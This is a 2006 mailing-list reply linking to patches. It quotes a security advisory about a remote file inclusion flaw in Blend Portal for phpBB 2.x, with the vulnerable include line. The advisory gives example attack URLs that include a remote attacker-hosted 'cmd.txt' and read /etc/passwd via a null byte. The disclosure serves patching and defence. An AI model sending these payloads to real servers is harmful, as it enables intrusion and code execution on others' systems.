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RE: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x(blend_data/blend_common.php) File Inclusion Vulnerability

I have addressed this issue & the one reported about the Activity Mod Plus. Below is a link to patches for both. Thanks. 

http://phpbb-tweaks.com/topics.html-p-17623#17623



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http://phpbb-amod.com/

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From: Mustafa Can Bjorn IPEKCI <nukedx@xxxxxxxxxx>
To: submit@xxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx,bugtraq@xxxxxxxxxxxxxxxxx, austin_inc@xxxxxxxxxxx Subject: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x(blend_data/blend_common.php) File Inclusion Vulnerability 
Date: Sun, 28 May 2006 20:46:39 +0300
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--Security Report--
Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability. 
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 28/05/06 07:52 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@xxxxxxxxxx
Web: http://www.nukedx.com
}
---
Vendor: phpbb-portal (http://www.phpbb-portal.com/)
Version: 1.2.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary internal/external files to phpBB. phpbb_root_path variable in /blend_data/blend_common.php did not sanitized properly before using it.You can find vulnerable code in 
blend_common.php at lines 74-77
-Source in blend_common.php-
74: else
75: {
76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH .'config.'. $phpEx); 
77: }
-End of source-
Level: Highly Critical
---
How&Example:
Succesful exploitation needs register_globals on & allow url_fopen on
GET -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE] EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt? EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00 
---
Timeline:
* 28/05/2006: Vulnerability found.
* 28/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=41
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=41



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